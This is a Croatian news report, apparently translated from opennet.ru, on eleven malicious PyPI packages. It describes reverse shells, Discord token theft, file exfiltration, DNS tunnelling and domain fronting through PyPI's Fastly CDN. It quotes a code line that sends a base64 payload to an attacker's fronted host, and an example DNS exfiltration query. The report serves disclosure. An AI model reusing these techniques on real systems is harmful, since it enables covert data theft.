U PyPI katalogu identificirane su zlonamjerne biblioteke koje koriste PyPI CDN za skrivanje komunikacijskog kanala

U direktoriju PyPI (Python Package Index) identificirano je 11 paketa koji sadrže maliciozni kod. Prije utvrđivanja problema, paketi su ukupno preuzeti oko 38 tisuća puta. Otkriveni zlonamjerni paketi poznati su po korištenju sofisticiranih metoda za skrivanje komunikacijskih kanala s poslužiteljima napadača.

  • importantpackage (6305 preuzimanja), important-package (12897) - uspostavio vezu s vanjskim poslužiteljem pod krinkom povezivanja na pypi.python.org kako bi omogućio pristup ljuske sustavu (obrnuta ljuska) i koristio program trevorc2 za skrivanje komunikacijski kanal.
  • pptest (10001), ipboards (946) - koristi DNS kao komunikacijski kanal za prijenos informacija o sustavu (u prvom paketu ime hosta, radni direktorij, interni i vanjski IP, u drugom - korisničko ime i naziv hosta) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - identificirali token usluge Discord u sustavu i poslali ga vanjskom hostu.
  • trrfab (287) - šalje identifikator, naziv hosta i sadržaj /etc/passwd, /etc/hosts, /home vanjskom hostu.
  • 10Cent10 (490) - uspostavio obrnutu vezu ljuske s vanjskim hostom.
  • yandex-yt (4183) - prikazao poruku o kompromitaciji sustava i preusmjerio na stranicu s dodatnim informacijama o daljnjim radnjama izdanim putem nda.ya.ru (api.ya.cc).

Posebno treba istaknuti metodu pristupa vanjskim hostovima korištenu u paketima importantpackage i important-package, koji su koristili Fastly mrežu za isporuku sadržaja korištenu u direktoriju PyPI kako bi sakrili svoju aktivnost. U stvari, zahtjevi su poslani poslužitelju pypi.python.org (uključujući navođenje imena python.org u SNI unutar HTTPS zahtjeva), ali zaglavlje HTTP “Host” uključivalo je ime poslužitelja kojim su upravljali napadači (sek. naprijed.io. global.prod.fastly.net). Mreža za isporuku sadržaja poslala je sličan zahtjev poslužitelju koji napada, koristeći parametre TLS veze s pypi.python.org prilikom prijenosa podataka.

PyPI infrastrukturu pokreće Fastly mreža za isporuku sadržaja, koja koristi Varnish transparentni proxy za predmemoriju tipičnih zahtjeva, a također koristi obradu TLS certifikata na razini CDN-a, umjesto na krajnjim poslužiteljima, za prosljeđivanje HTTPS zahtjeva kroz proxy. Bez obzira na ciljni host, zahtjevi se šalju proxyju, koji određuje željeni host pomoću HTTP zaglavlja "Host", a imena domena hosta vezana su za IP adrese CDN balansera opterećenja koje su tipične za sve Fastly klijente.

Poslužitelj napadača također se registrira na CDN Fastly, koji svima nudi besplatne planove, pa čak i anonimnu registraciju. Važno je napomenuti da se za slanje zahtjeva žrtvi prilikom stvaranja "obrnute ljuske" također koristi shema, ali pokrenuta od strane napadačevog hosta. Izvana, interakcija s poslužiteljem napadača izgleda kao legitimna sesija s PyPI imenikom, šifrirana pomoću PyPI TLS certifikata. Slična tehnika, poznata kao "sučelje domene", prethodno se aktivno koristila za skrivanje imena glavnog računala prilikom zaobilaženja blokiranja, korištenjem mogućnosti u nekim CDN mrežama za pristup HTTPS-u navođenjem fiktivnog glavnog računala u SNI-u i stvarnim prijenosom imena traženi host u zaglavlju HTTP Host unutar TLS sesije.

U PyPI katalogu identificirane su zlonamjerne biblioteke koje koriste PyPI CDN za skrivanje komunikacijskog kanala

Kako bi se sakrila zlonamjerna aktivnost, paket TrevorC2 dodatno je korišten kako bi interakcija s poslužiteljem bila slična uobičajenoj web navigaciji, na primjer, zlonamjerni zahtjevi slani su pod krinkom preuzimanja slike “https://pypi.python.org/images/ guid=” s kodiranjem informacija u guid parametru. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Paketi pptest i ipboards koristili su drugačiji pristup za skrivanje mrežne aktivnosti, temeljen na kodiranju korisnih informacija u upitima prema DNS poslužitelju. Zlonamjerni softver prenosi informacije izvođenjem DNS zahtjeva kao što je "nu4timjagq4fimbuhe.example.com", u kojem su podaci koji se prenose kontrolnom poslužitelju kodirani korištenjem formata base64 u nazivu poddomene. Napadač prima te poruke kontrolirajući DNS poslužitelj za domenu example.com.

Izvor: opennet.ru

Dodajte komentar